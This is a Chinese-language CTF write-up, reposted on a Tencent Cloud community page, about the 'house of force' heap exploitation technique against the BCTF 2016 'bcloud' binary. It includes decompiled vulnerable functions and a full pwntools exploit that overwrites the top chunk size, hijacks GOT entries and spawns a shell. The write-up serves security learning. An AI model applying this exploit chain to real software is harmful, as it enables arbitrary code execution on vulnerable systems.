前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >house of force —— BCTF 2016-bcloud

house of force —— BCTF 2016-bcloud

作者头像
用户1423082
发布2024-12-31 18:35:37
发布2024-12-31 18:35:37
6400
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

这个技术就是覆盖top chunk的size,控制下下次分配的返回内存,从而进行任意写

保护,可以写got表

代码语言:javascript
代码运行次数:0
运行
复制
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

功能(show 是没用的)

代码语言:javascript
代码运行次数:0
运行
复制
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit

漏洞1:信息泄露

代码语言:javascript
代码运行次数:0
运行
复制
unsigned int sub_80487A1()
{
  char name; // [esp+1Ch] [ebp-5Ch]
  char *v2; // [esp+5Ch] [ebp-1Ch]
  unsigned int v3; // [esp+6Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  memset(&name, 0, 0x50u);
  puts("Input your name:");
  sub_804868D((int)&name, 0x40, 10);
  v2 = (char *)malloc(0x40u);
  p_name = (int)v2;
  strcpy(v2, &name);                            // 假如我们name是40长度,name后面的v2也会复制到v2,那就输出了堆上面的地址
  vuloutput((int)v2);
  return __readgsdword(0x14u) ^ v3;
}

利用

代码语言:javascript
代码运行次数:0
运行
复制
p.recvuntil("Input your name:\n")
p.sendline("A" * 0x40)
p.recvuntil("A" * 0x40)
leak = p.recv(4)
heap_addr = u32(leak)
print "heap_addr: " + hex(heap_addr)

漏洞2:堆溢出

这也是利用strcpy的赋值到\x00才停止

代码语言:javascript
代码运行次数:0
运行
复制
unsigned int sub_804884E()
{
  char org; // [esp+1Ch] [ebp-9Ch]
  char *v2; // [esp+5Ch] [ebp-5Ch]
  int host; // [esp+60h] [ebp-58h]
  char *v4; // [esp+A4h] [ebp-14h]
  unsigned int v5; // [esp+ACh] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  memset(&org, 0, 0x90u);
  puts("Org:");
  getInput((int)&org, 0x40, 10);
  puts("Host:");
  getInput((int)&host, 0x40, 10);
  v4 = (char *)malloc(0x40u);
  v2 = (char *)malloc(0x40u);
  dword_804B0C8 = (int)v2;
  dword_804B148 = (int)v4;
  strcpy(v4, (const char *)&host);
  strcpy(v2, &org);
  puts("OKay! Enjoy:)");
  return __readgsdword(0x14u) ^ v5;
}

利用

代码语言:javascript
代码运行次数:0
运行
复制
p.recvuntil("Org:\n")
p.send("B" * 0x40)
p.recvuntil("Host:\n")
p.send("\xff\xff\xff\xff")

这就把top chunk size覆盖成0xffffffff了

那接下来我们申请的大小要怎么搞呢,先看看原理

将top chunk的size改为0xffffffffffffffff,这样我们malloc很大的值也不用再去mmap新的内存了 之后申请一个一个负数大小的,所以top chunk指针会减去这么一个值,但是第一次申请的时候malloc还是返回原理top chunk的位置 那么当我们再次申请的时候,top chunk就返回了我们想要的地址了 那个负数是怎么得来的呢? 因为我们malloc之后,top指针会加上我们的size,所以我们只需要malloc我们想要的地址跟top指针的差别再减0x10的头部就行了(64位的话)【即目标地址-topchunk指针-0x10】,那么32位就减8

假如我们要控制0x0804B0A0,储存len的地方

代码语言:javascript
代码运行次数:0
运行
复制
malloc_size =  "-" +  str(-(noteLenArr - (first_heap_addr + 0xd0) - 0x8))
newNote(malloc_size, "")

结果如下

那接下来我们就覆盖note指针,那就可以任意地址写,我们将free覆盖成printf的got 之后我们利用free函数调用,泄露atoi函数,再计算出system函数地址,最后利用system函数地址覆盖atoi的got表,再发送/bin/sh\x00即可

完整exp

代码语言:javascript
代码运行次数:0
运行
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-08-13 23:29:22
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://www.giantbranch.cn/
# @tags : 

from pwn import *
context.log_level = "debug"
p = process("./bcloud")
# p = process(['./bcloud'], env={"LD_PRELOAD":"./libc-2.19.so"})
elf  = ELF('./bcloud')
libc = ELF('./libc.so.6')


def getpid():
	print proc.pidof(p)[0]
	pause()
	

def newNote(length, content):
	p.recvuntil("option--->>\n")
	p.sendline("1")
	p.recvuntil("Input the length of the note content:\n")
	p.sendline(str(length))
	p.recvuntil("Input the content:\n")
	p.send(content)

def editNote(id, content):
	p.recvuntil("option--->>\n")
	p.sendline("3")
	p.recvuntil("Input the id:\n")
	p.sendline(str(id))
	p.recvuntil("Input the new content:\n")
	p.sendline(content)

noteLenArr = 0x0804B0A0

got_atoi = elf.got['atoi']
got_free = elf.got['free']
# because did't call in the program
plt_printf = elf.plt['printf']

# leak
p.recvuntil("Input your name:\n")
p.send("A" * 0x3c + "QQQQ")
p.recvuntil("QQQQ")
leak = p.recv(4)
first_heap_addr = u32(leak)
print "first_heap_addr: " + hex(first_heap_addr) 

# overwrite top chunk size
p.recvuntil("Org:\n")
p.send("B" * 0x40)
p.recvuntil("Host:\n")
p.sendline("\xff\xff\xff\xff")

#######
# change top chunk point
####### 
# first_heap_addr + 0xd0 is top chunk point
# malloc_addr = top chunk point + malloc_size 
# 0x8 size of header
malloc_size =  "-" +  str(-(noteLenArr - (first_heap_addr + 0xd0) - 0x8))
print "mysize: " + malloc_size
# size = (0xffffffff - first_heap_addr - 224) + noteLenArr - 4
# log.info("Size: " + hex(size)) 
# size = (0xffffffff ^ size) + 1
# print "last size: " + str(size)
newNote(malloc_size, "")

# write notearrary
payload = p32(4)
payload += p32(4)
payload += p32(4) * 29
payload += p32(got_free)
payload += p32(got_atoi)
payload += p32(got_atoi)
newNote(len(payload), payload)

# change got_free to plt_printf
editNote(1, p32(plt_printf))

# get atoi's address
p.recvuntil("option--->>\n")
p.sendline("4")
p.recvuntil("Input the id:\n")
p.sendline("2")
atoi_addr = u32(p.recv(4))
print "atoi_addr: " + hex(atoi_addr) 

# overwrite atoi with system
print "\ncalculating system() addr"
system_addr = atoi_addr - (libc.symbols['atoi'] - libc.symbols['system'])
print "system_addr = " + hex(system_addr)
pause()

editNote(3, p32(system_addr))

p.sendline("/bin/sh\x00")

p.interactive()

reference

http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-08-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • reference
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档